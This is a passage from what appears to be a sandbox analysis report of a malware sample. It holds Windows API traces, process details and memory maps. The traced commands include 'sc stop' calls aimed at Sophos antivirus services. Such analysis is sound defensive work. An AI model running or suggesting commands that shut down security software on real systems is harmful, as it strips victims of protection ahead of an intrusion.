lpLCData="Sun") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e84930, cchData=8 | out: lpLCData=".") returned 2 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e84920, cchData=8 | out: lpLCData=",") returned 2 [0061.507] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0061.508] GetConsoleTitleW (in: lpConsoleTitle=0x6e5908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.509] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.509] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0061.509] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0061.509] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0061.509] _wcsicmp (_String1="sc", _String2=")") returned 74 [0061.509] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0061.509] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0061.509] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0061.509] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0061.509] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0061.509] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0061.511] GetConsoleTitleW (in: lpConsoleTitle=0x28f568, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.511] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.511] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.511] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.511] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.511] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.511] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.511] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.511] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.511] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.511] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.511] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.511] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.511] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.511] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.511] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.511] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.511] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.511] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.511] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.511] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.511] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.511] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.511] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.511] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.511] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.511] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.511] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.511] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.512] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.512] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.512] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.512] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.512] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.512] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.512] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.512] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.512] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.512] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.512] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.512] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.512] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.512] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.512] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.512] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.512] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.512] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.512] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.512] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.512] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.512] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.512] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.512] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.512] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.512] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.512] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.512] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.512] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.512] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.512] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.512] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.512] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.512] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.512] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.512] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.512] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.512] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.512] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.513] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.513] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.513] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.513] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.513] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.513] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.513] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.513] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.513] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.513] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.513] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.513] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.513] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.513] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.513] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.513] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.513] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.513] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0061.513] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0061.513] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0061.513] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0061.514] SetErrorMode (uMode=0x0) returned 0x0 [0061.514] SetErrorMode (uMode=0x1) returned 0x0 [0061.514] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6e5dd8, lpFilePart=0x28f088 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f088*="Desktop") returned 0x25 [0061.514] SetErrorMode (uMode=0x0) returned 0x1 [0061.514] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.514] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0061.519] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.520] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f184, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f24c | out: lpAttributeList=0x28f184, lpSize=0x28f24c) returned 1 [0061.520] UpdateProcThreadAttribute (in: lpAttributeList=0x28f184, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f244, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f184, lpPreviousValue=0x0) returned 1 [0061.520] GetStartupInfoW (in: lpStartupInfo=0x28f140 | out: lpStartupInfo=0x28f140*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x6d19cc, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0061.520] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0061.522] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos MCS Agent\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f1e0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos MCS Agent\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f22c | out: lpCommandLine="sc stop \"Sophos MCS Agent\" /y", lpProcessInformation=0x28f22c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x884, dwThreadId=0x894)) returned 1 [0061.526] CloseHandle (hObject=0x78) returned 1 [0061.526] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0061.526] GetEnvironmentStringsW () returned 0x6e4dc8* [0061.526] FreeEnvironmentStringsW (penv=0x6e4dc8) returned 1 [0061.526] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0061.574] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x28f120 | out: lpExitCode=0x28f120*=0x424) returned 1 [0061.574] CloseHandle (hObject=0x7c) returned 1 [0061.574] _vsnwprintf (in: _Buffer=0x28f268, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f12c | out: _Buffer="00000424") returned 8 [0061.574] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0061.574] GetEnvironmentStringsW () returned 0x6e2b28* [0061.575] FreeEnvironmentStringsW (penv=0x6e2b28) returned 1 [0061.575] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0061.575] GetEnvironmentStringsW () returned 0x6e2b28* [0061.575] FreeEnvironmentStringsW (penv=0x6e2b28) returned 1 [0061.575] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f184 | out: lpAttributeList=0x28f184) [0061.575] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.575] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.575] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.575] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e841ac | out: lpMode=0x49e841ac) returned 1 [0061.575] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.575] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e841b0 | out: lpMode=0x49e841b0) returned 1 [0061.576] SetConsoleInputExeNameW () returned 0x1 [0061.576] GetConsoleOutputCP () returned 0x1b5 [0061.576] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e84260 | out: lpCPInfo=0x49e84260) returned 1 [0061.576] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.577] exit (_Code=1060) Process: id = "57" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0xb1f3000" os_pid = "0x884" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "56" os_parent_pid = "0x8a8" cmd_line = "sc stop \"Sophos MCS Agent\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3543 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3544 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3545 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3546 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3547 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3548 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3549 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3550 start_va = 0x780000 end_va = 0x78bfff entry_point = 0x780000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3551 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3552 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3553 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3554 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3555 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3556 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3557 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3558 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3559 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3560 start_va = 0x400000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3561 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3562 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3563 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3564 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3565 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3566 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3567 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3568 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3569 start_va = 0x1c0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3570 start_va = 0x610000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 3571 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3572 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3573 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3574 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3575 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3576 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3577 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3578 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3579 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3580 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3581 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3582 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3583 start_va = 0xf0000 end_va = 0x1affff entry_point = 0xf0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3584 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x1b0000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 144 os_tid = 0x894 [0061.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f81c | out: lpSystemTimeAsFileTime=0x22f81c*(dwLowDateTime=0xdf7f0280, dwHighDateTime=0x1d4abdd)) [0061.558] GetCurrentProcessId () returned 0x884 [0061.558] GetCurrentThreadId () returned 0x894 [0061.558] GetTickCount () returned 0x1ccfe [0061.558] QueryPerformanceCounter (in: lpPerformanceCount=0x22f814 | out: lpPerformanceCount=0x22f814*=1813678800000) returned 1 [0061.558] GetModuleHandleA (lpModuleName=0x0) returned 0x780000 [0061.558] __set_app_type (_Type=0x1) [0061.558] __p__fmode () returned 0x75ed31f4 [0061.558] __p__commode () returned 0x75ed31fc [0061.558] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7879c7) returned 0x0 [0061.558] __wgetmainargs (in: _Argc=0x789020, _Argv=0x789028, _Env=0x789024, _DoWildCard=0, _StartInfo=0x789034 | out: _Argc=0x789020, _Argv=0x789028, _Env=0x789024) returned 0 [0061.559] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.563] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.563] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0061.563] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0061.563] _wcsicmp (_String1="stop", _String2="query") returned 2 [0061.563] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0061.563] _wcsicmp (_String1="stop", _String2="start") returned 14 [0061.563] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0061.563] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0061.563] _wcsicmp (_String1="stop", _String2="control") returned 16 [0061.563] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0061.563] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0061.563] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x61f790 [0061.566] OpenServiceW (hSCManager=0x61f790, lpServiceName="Sophos MCS Agent", dwDesiredAccess=0x20) returned 0x0 [0061.566] GetLastError () returned 0x424 [0061.566] _itow (in: _Dest=0x424, _Radix=2291380 | out: _Dest=0x424) returned="1060" [0061.566] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0x789380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0061.567] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f69c, nSize=0x2, Arguments=0x22f6a8 | out: lpBuffer="\x19d8\x62\x01") returned 0x62 [0061.568] GetFileType (hFile=0x7) returned 0x2 [0061.568] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f670 | out: lpMode=0x22f670) returned 1 [0061.568] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6219d8*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x22f68c, lpReserved=0x0 | out: lpBuffer=0x6219d8*, lpNumberOfCharsWritten=0x22f68c*=0x62) returned 1 [0061.569] LocalFree (hMem=0x6219d8) returned 0x0 [0061.569] LocalFree (hMem=0x0) returned 0x0 [0061.569] CloseServiceHandle (hSCObject=0x61f790) returned 1 [0061.570] exit (_Code=1060) Thread: id = 145 os_tid = 0x8a4 Process: id = "58" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x261d000" os_pid = "0x950" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos MCS Client\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3585 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3586 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3587 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3588 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3589 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3590 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3591 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3592 start_va = 0x4a560000 end_va = 0x4a5abfff entry_point = 0x4a560000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3593 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3594 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3595 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3596 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3597 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3598 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3599 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3600 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3601 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3602 start_va = 0x3d0000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3603 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3604 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3605 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3606 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3607 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3608 start_va = 0x10000 end_va 